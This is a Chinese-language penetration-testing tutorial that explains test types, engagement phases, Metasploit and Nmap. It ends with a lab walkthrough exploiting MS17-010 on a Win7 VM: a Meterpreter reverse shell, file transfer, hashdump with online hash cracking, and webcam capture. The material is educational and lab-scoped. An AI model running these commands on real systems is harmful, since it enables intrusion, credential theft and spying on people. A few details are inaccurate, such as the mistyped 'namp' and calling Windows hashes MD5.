渗透测试是什么?
渗透测试(Penetration Testing),就是一种通过模拟恶意攻击者的技术与方法,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。
渗透过程最主要的底层基础是目标系统中存在安全漏洞(指信息系统中存在的缺陷或不适当的配置,他们可使攻击者在未授权情况下访问或破坏系统,导致信息系统面临安全风险)。
利用安全漏洞来造成入侵或破坏效果的程序就称为渗透代码(Exploit),或者漏洞利用代码。
渗透测试分类
1、黑盒测试/外部测试
缺点:费时费力,技术要求高
优点:更有利于挖掘出系统潜在的漏洞,以及脆弱环节和薄弱点等。
2、白盒测试/内部测试
缺点:无法有效地测试客户组织的应急响应程序,也无法判断出他们的安全防护计划对特定攻击的检测效率
优点:耗时少
3、灰盒测试/组合测试(是白盒测试和黑盒测试基本类型的组合)
优点:能够同时发挥这两种渗透测试方法的优势
目标分类
1、主机操作系统渗透(汇编语言)
对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行渗透测试。
2、数据库系统渗透(内网渗透)
对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应用系统进行渗透测试。
3、应用系统渗透(OWASP TOP10大热门漏洞利用)
对渗透目标提供的各种应用,如ASP、CGI、JSP、PHP等组成的WWW应用进行渗透测试。
4、网络服务渗透
对各种网络协议、防火墙、入侵防御系统(IPS)、入侵检测系统(IDS)、网络设备、日志文件、配置文件等等进行渗透测试。
渗透测试过程环节
1、前期交互阶段(Pre-Engagement Interaction)
在此阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。
该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。
2、情报搜集阶段(Information Gathering)
在目标范围确定之后,将进入情报搜集阶段,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。
渗透测试者可以使用的情报搜集方法包括公开来源信息查询、GoogleHacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。
3、威胁建模阶段(Threat Modeling)
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道。
4、漏洞分析阶段(Vulnerability Analysis)
在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析阶段。在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。
5. 渗透攻击阶段(Exploitation)
渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。
渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现。
6. 后渗透攻击阶段(Post Exploitation)(清除痕迹)
后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。
在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并且可行,也取决于团队自身的创新意识、知识范畴、实际经验和技术能力。
7. 报告阶段(Reporting)
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
渗透测试工具
Metasploit
Metasploit是一个开源的渗透测试框架软件,也是一个逐步发展成熟的漏洞研究与渗透代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。
Metasploit中的专业术语:
Exploit(漏洞利用):是指一种针对漏洞的代码或技术,用于获取对目标系统的未经授权访问或执行恶意操作。流行的渗透攻击技术包括缓冲区溢出、WEB应用程序漏洞攻击(例如:SQL注入、XSS等),以及利用配置错误等。
Payload(负载):是Metasploit中的一种恶意代码,它在成功利用漏洞后在目标系统上执行。
Meterpreter(Meterpreter): Meterpreter是Metasploit中的一种强大的后渗透负载,它允许渗透测试人员在目标系统上执行各种操作,并提供了丰富的功能,如文件上传和下载、进程管理、截图等。
Module(模块):Metasploit使用模块化的架构,不同类型的模块用于不同的任务,包括漏洞利用、扫描、负载生成等。
Listener(监听器):监听器是Metasploit中用来等待接入网络连接主机的组件。
1. 情报搜集(内建扫描探测与查点辅助模块;插件机制集成调用Nmap、Nessus、OpenVAS等开源扫描工具)
2. 威胁建模(信息汇总至数据库,提供易用的数据库查询命令,帮助对情报进行威胁建模)
3. 漏洞分析(提供大量的协议Fuzz测试器与Web应用漏洞探测模块)
4. 渗透攻击(利用漏洞成功渗透到目标系统或网络)
5. 后渗透攻击(成功渗透攻击并获取目标远程控制程序后,Meterpreter可提供驻内存免杀能力高级后门工具,特权提升、跳板攻击与内网拓展等)
6. 报告生成(渗透结果存入内置数据库,可数据库查询并辅助渗透测试报告的写作)
搜索公开渗透代码—>编译—>测试—>修改代码—>实施—>失败—>不断调试直至成功
Nmap扫描工具
Nmap 全称为 Network Mapper。Nmap是目前最流行的网络扫描工具,不仅能准确探测单台主机的详细情况,而且能高效地对大范围的Ip地址段扫描。能扫描目标网络上有哪些主机上存活的,哪些服务是开放的,甚至知道网络中使用了何种类型的防火墙设备等。
版本: 一个为GUI版,一个是命令行版
优点
1.灵活:支持数十种不同的扫描方式,支持多种目标对象的扫描。
2.强大:Nmap可以用于扫描互联网上大规模的计算机。
3.可移植: 支持主流的操作系统:windows/Linux/Unix/Mac OS等
4.简单:提供默认的操作能覆盖大部分功能,基本端口扫描
5.自由:Nmap是一款开源软件,在GPL License的范围内可以自由使用
6.社区支持: Nmap是一款开源软件,背后有强大的社区团队支持
Nmap基本功能
1. 主机发现(Host Discovery)
2. 端口扫描(Port Scanning)
3. 版本侦测(Version Detection)
4. 操作系统侦测(Operating System Detection)
Nmap常用扫描命令
1、完整的全面扫描
命令为:namp –T4 –A –v ip (也可以namp ip)
-A 选项用于使用进攻性(Aggressive)方式扫描;
-T4 指定扫描过程使用的时序(Timing),T4表示快速扫描。
总共有6个级别(0-5),级别越高,速度越快,但也容易被防火墙发现;
-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,包括扫描进度、发现的开放端口和服务信息等。-sT:TCP connect扫描
-sS:TCP SYN扫描
-sF/-sX/-sN:通过发送一些特殊的标志位以避开设备或软件的检测
-sP:通过发送ICMP echo请求探测主机是否存活,原理同Ping
-sU:探测目标主机开放了哪些UDP端口
-sA:TCP ACK扫描,对防火墙上未屏蔽的端口进行探测
-sV:获取对应端口上更为详细的服务版本信息
-Pn:在扫描之前,不发送ICMP echo请求测试目标是否存活
-O:启动对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息
-F:快速扫描模式,只扫描在nmap-services中列出的端口
2、 扫描多台主机
命令为: namp ***.***.***.1 ***.***.***.2 ***.***.***.3
3、扫描整个子网
命令为:nmap 192.168.*.1/24
实战 主机漏洞利用演示
- MS17-010(永恒之蓝)
- 漏洞原理:
ms17_010 是一种操作系统漏洞,仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统,并执行任意代码。这个漏洞通过 445 文件共享端口进行利用,一旦攻击者成功利用该漏洞,就可以在目标主机上植入各种恶意软件,如勒索软件。最近出现的 WannaCry 勒索软件就使用 ms17_010 漏洞来传播和植入勒索代码,将目标系统中的所有文件加密并威胁用户付款。由于该漏洞易受攻击,且已经公开和广泛利用,因此建议 Windows 系统用户及时进行安全更新以避免被攻击。对于其渗透测试相关应用,可以使用 Metasploit 和其他渗透测试框架进行利用和测试。
- ms17-010(永恒之蓝)利用的端口是445端口。
- 虚拟机软件:Vmware Workstation 15
- 攻击机:Kali
- 靶机环境:Win7
- 前提条件:使用同一个模式(配置kali和Win7网络模式为NAT模式)
- 必须互相ping通才能开始攻击
- 查看IP地址的命令:ipconfig(Win7)、ifconfig(Kali)
1、在kali中,输入
sudo su
和密码 进入root管理员模式
2、使用Nmap工具进行扫描,查看靶机是否存活
nmap –T4 –A –v 192.168.10.101
发现445端口是开放的,可以尝试进行ms17-010漏洞攻击
3、启动Metasploit,命令为:
msfconsole
4、启动成功后,开始搜索漏洞,命令为:
search ms17-010
其中,exploit是攻击模块,auxiliary是辅助模块,这里我们先选用3辅助扫描模块,来确定漏洞是否存在(注意这里的模块序号不一定和我的一样),输入
use 3
查看该模块需要修改的参数
show options
required中yes选项是必须要填的,可以看到RHOSTS缺少了。
5、设置攻击目标(设置受害者ip(win7))
set rhosts 192.168.10.101
再去查看参数的话就可以发现RHOSTS已经填好了。
6、运行扫描模块,命令
run
扫描结果显示,靶机存在ms17-010漏洞。
7、使用攻击模块0进行攻击,命令
use 0
提示设置payload。
设置攻击负载
set payload windows/x64/meterpreter/reverse_tcp
设置攻击目标ip(win7)
set rhost 192.168.10.101
设置攻击者ip(kali)
set lhost 192.168.10.100
8、检查参数配置无误后就可以进行攻击,命令:run或exploit
9、攻击成功,接下来可以使用meterpreter进行其他渗透操作。
获取屏幕快照
screenshot
上传文件到Win7中 :
upload /home/kali/vubwdbcf.jpeg c:\\vubwdbcf.jpeg
上传成功,在win7中对应路径也可查到。
从Win7主机中下载文件到kali中:
(为了方便,将刚才上传的图片改名进行测试)
download c:\\test.jpeg /home/kali
下载成功,在kali中对应位置也可看到下载下来的图片。
在Kali查看权限:getuid,得知权限为管理员权限,然后使用shell命令进入window7系统,
(Windows命令为:getuid Linux命令为:whoami )
这里进入到 window7系统,想退回 meterpreter > 按Ctrl+C。
10、后渗透
利用刚拿到的shell执行权限提权,通过shell对靶机Win7进行控制
此时我们输入getuid查看权限得知权限为管理员权限
输入: hashdump进行Hash攻击(注意,在非system权限下会出现失败)。Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。
然后通过在网站解密hash值:https://www.cmd5.com/
已成功获得windows登录用户名和密码
(这里采用的是MD5的加密方式)
操作摄像头
- webcam_list-->查看摄像头
- webcam_snap -->通过摄像头拍照
- webcam_stream -->通过摄像头开启视频